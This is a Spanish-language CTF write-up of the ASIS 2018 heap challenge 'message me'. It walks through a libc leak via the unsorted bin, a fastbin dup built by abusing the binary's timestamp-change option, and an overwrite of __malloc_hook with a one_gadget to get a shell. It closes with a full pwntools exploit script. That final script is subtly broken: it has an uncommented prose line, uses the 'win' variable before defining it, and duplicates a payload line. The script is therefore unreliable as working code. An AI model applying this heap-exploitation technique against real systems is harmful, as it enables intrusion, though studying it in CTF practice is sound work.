dplastico

¡Hola! Ayer estuve haciendo un desafío con el ánimo de practicar y resultó bastante entretenido, así que hice un writeup, ¡espero que les guste! El desafío es un challenge de ASIS 2018 titulado message me. Pueden encontrar el binario y la versión de libc provista en el siguiente link (además de la solución que detallaremos ahora) Recuerden que deben parchar la version de libc con el respectivo loader, yo en lo personal uso patchelf

Bueno analizamos el binario y vemos que es un ELF de 64 bit sin PIE (aunque no importara mucho ya verán) canary y Partial RELRO

Observamos el binario el cual solo observando el menú podemos ver que es un desafío de heap, el cual nos permite agregar (malloc) remover(free) mostrar el mensaje y cambiar el timestamp (ya abordaremos esto).

 Obviamente nos encontramos frente a un binario con explotación de heap. No voy a detallar todos los pasos del heap explotation, pero si pueden leer acerca de malloc y free aca:

Malloc internals

Y sobre explotación de heap les recomiendo este sitio:

How2Heap

Ahora veamos reversar el challenge, podemos ver que fuera del timestamp (aun no!!! ) todo es “normal” tenemos un menu, llamamos a malloc, free, pero vemos que las variables no se inicializan bien lo cual nos permite un UAF (use after free) e incluso un DF (double free) pero que veremos será difícil de atacar

Pues bien con esto en mente intentemos explotar el binario, para eos primero creamos algunas funciones que nos ayudarán en nuestro exploit, algo un poco molesto era el buffering, que no me di el tiempo de reversar para analizar por qué ocurría, pero eso me obligó a poner llamadas a sleep entre cada input para poder enviar bien el payload (ta lo verán en el código) De todas formas nótese que cuando tratamos de hacer double free tenemos que superar la mitigación de fast top (por tanto tenemos que darle free a un chunk, entre medio)


Ahora cuando comenzamos a asignar “chunks” o bloques como son llamados (me referiré a chunks, porque spanglish, uwu) a estos se le agrega un timestamp, lo cual nos traerá problemas, ya que aprovechandonos de UAF o el DF podríamos “tampear” el fd con nuestra data, pero vemos que esto no se podrá, alocamos algunos chunk y revisamos con vis (comando de pwndbg para mostrar el heap) Además agrega 0x10 al size de nuestro payload (chunk)

Esto nos dificulta la explotación, por lo que trataremos de generar un leak, y para eso utilizaremos un chunk fuera del rango de fastbins (por defecto arriba de 0x80) para enviarlo al unsorted bin, esto nos permitirá lekear con el UAF una dirección de libc

Así ya con esto podemos codear y generar el leak

Pues bien ahora que tenemos un leak de libc podemos calcular direcciones y “tampear” un posible “FD” para llamar un bloque falso (fake chunk) y así sobreescribir alguna dirección importante, como no tenemos leak de HEAP  o del binario en sí, apuntaremos a libc, y para eso intentaremos sobreescribir “malloc_hook”, ya que al sobrescribir este “hook” cada vez que se llame a malloc() se ejecutara nuestro payload (que sobreescribimos en el malloc hook)  puedes encontrar información sobre los hook aca  y aca

Ahora nuestro problema es el timestamp.. Que podemos hacer? No podemos hacer un DF ya que nuestros FD no podemos “tampearlos”, si intentamos escribir el chunk free nos devolverá un timestamp, pues bueno despues de mucho me di cuenta que si usaba la opción “change timestamp” esta cambiaba el valor e iba aumentando, eventualmente me di cuenta que si lo cmabiaba 3 veces este aumentaba 0x10 siempre. Por lo que usare ese cambio para modificar un FD válido y generar un Double free modificando el valor del FD a apuntar a un chunk nuevo debajo de él mismo en el heap… Suena enredado pero ahora se entenderá

Primero creamos 3 chunks en el rango de fastbin (solo dos usaremos, pero el primero es para hacer de top, y ademas por que inicialmente intente sobreescribir el free hook, y ese chunk seria mi argv, pero esto no lo pude hacer hehehe) se puede ver que como es esperado una vez liberado el chunk apunta al chunk liberado anteriormente (single list)

Pues si modificamos el timestamp vemos que el valor cambia

Si lo repetimos dos veces más llega a apuntar justo abajo de nuestro chunk donde he creado un “fake chunk” del mismo tamaño:

Con esto tenemos una primitiva de fastbins dup, sin DF, pero simulado creamos un puntero a un fake nuestro, intentaremos entonces sobrescribir dicho valor con malloc hook -16, para detenernos justo sobre el hook y escribir,  y así redirigir hacia allá el flujo del programa

Con esto ya podemos redirigir a malloc como nuestra el comando fastbins

Esto nos provoca un error ya que existe una mitigación en libc dado que el chunk que estoy llamando no tiene el “size” apropiado (podemos usar frame, para ver el error)

 si revisamos en malloc_hook -16 tenemos un null quadword… Por tanto debemos buscar un size apropiado cerca de malloc_hook. Una cosa importante de mencionar, es que malloc no revisa el alineamiento de las direcciones en la llamada por tanto si “desreferenciamos” alguna dirección con un tamaño apropiado, podremos usarla, obviamente también hay magias de pwndbg que nos permiten encontrar un 7f size, cerca de malloc hook

Modificamos nuestro payload para calzar con el offset a nuestro fake size

Y modificamos nuestra llamada que sobreescribirá malloc con algún valor

Ejecutamos y vemos que podemos sobreescribir el hook sin problemas y redirigir el flujo del programa

Con esto solo nos queda solo ver como obtener una shell, esta vez fue sencillo, usamos un one_gadget dentro de libc que buscamos con la herramienta del mismo nombre

Y obtenemos una shell luego de llamar a malloc nuevamente, acá el exploit final:

from pwn import *
#binary setup
elf = context.binary = ELF('./message')
context.terminal = ['tmux', 'splitw', '-hp', '70']
gs = '''
continue
'''
libc = elf.libc
index = 0
def start():
    if args.GDB:
        return gdb.debug('./message', gdbscript=gs)
    if args.REMOTE:
        return remote('127.0.0.1', 5555)
    else:
        return process('./message')
#add a message
def malloc(size, data):
    global index
    r.sendline("0")
    r.sendline(f"{size}")
    r.sendline(data)
    index += 1
    return index - 1
    print("index, ",index-1)
#remove the message
def free(index):
    r.sendline("1")
    r.sendline(f"{index}")
    #r.recvuntil("choice :")
#show the message
def show(index):
    r.sendline("2")
    sleep(0.2)
    r.sendline(f"{index}")
    resp = r.recv(0x58)
    #r.recvuntil("choice :")
    return resp
#3 change the timestamp
def change(index):
    r.sendline("3")
    r.sendline(f"{index}")

r = start()
#========= exploit here ===================
#sleeps for the buffering of the binary
#===== LEAK ==========
leak = malloc(0x200, "A" *8)
sleep(0.3)
guard = malloc(0x18, "YYYYYYYY")
r.timeout = 0.1
show(leak) #ctipe first
sleep(0.3)
free(leak) #free chunk
sleep(0.3)
show(leak) #show leak
#it seems im buffering the output so some timeouts
#maybe there's a better way to do it
r.recvuntil("Message : ")
r.timeout = 0.1
sleep(0.3)
r.recvuntil("Message : ")
r.timeout = 0.1
l = u64(r.recvline().strip().ljust(8,b'\x00'))
libc.address = l - 0x399b78
#no mitigations for fake chunk sizes
log.info(f"libc leak {hex(l)}")
log.info(f"libc base {hex(libc.address)}")
log.info(f"malloc hook {hex(libc.sym.__malloc_hook)}")
log.info(f"free hook {hex(libc.sym.__free_hook)}")

#============ redirecting flow of execution =====

#double free (cuidado con el topfast)
#since we have a stamp date lets try to create fake chunks
#allocating 2 chunks and a top one to anchor
top_fast = malloc(96, "X"*8)
sleep(0.3)
A = malloc(96, p64(0x71) + p64(libc.sym.__malloc_hook-16))#fake chunk near malloc hook
sleep(0.3)
B = malloc(96, "B"*8)
sleep(0.3)
r.timeout = 0.1
#free (not double free lest stack them manually)
free(top_fast)
sleep(0.3)
free(A)
sleep(0.3)
free(B)
sleep(0.3)
#change the stamp 3 times will add 0x10
change(B)
sleep(0.3)
change(B)
sleep(0.3)
change(B)
sleep(0.3)
setting up the fastbindup attack
C = malloc(96, "C"* 32)
sleep(0.3)
D = malloc(96, "D"* 32)
sleep(0.3)
win - 0xdeadbeef
malloc(96, b"A" *11 + win)

win = p64(libc.address + 0xd6701)
#win - 0xdeadbeef
malloc(96, b"A" *11 + win) #add the one_gadget here
sleep(0.3)
malloc(24, "Y") #trigger malloc_hook

#========= interactive ====================
r.interactive()